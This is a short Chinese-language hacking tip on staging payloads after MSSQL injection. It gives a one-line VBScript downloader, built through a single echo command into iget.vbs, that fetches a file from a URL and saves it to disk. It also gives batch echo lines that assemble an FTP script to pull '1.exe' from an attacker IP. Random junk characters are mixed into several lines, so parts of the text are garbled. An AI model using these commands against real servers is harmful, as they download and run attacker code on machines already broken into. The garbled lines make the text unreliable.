mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
; k; L1 O! u3 J7 G8 y/ `; L
这样我们可以一次echo成功,echo版本:
# t0 r+ P! \! G% D, z+ [
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
0 S' I; Z  x9 w6 i

2.bat调用ftp脚本的写法(by envymask)

echo ftp&gt;1.vbs
- l2 w+ O$ e- O- r$ u+ w2 ?3 k5 r; decho open ip&gt;2.vbs
echo u&gt;3.vbs
0 l1 j/ @" g# T4 b( E0 |echo s&gt;4.vbs
echo binary&gt;5.vbs
, f. @. Z$ W' j/ A1 becho get 1.exe&gt;6.vbs
. Z% _4 i1 I# G7 ]: b- ?echo bay&gt;7.vbs

3 C& Q  q6 y) T4 S1 fcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>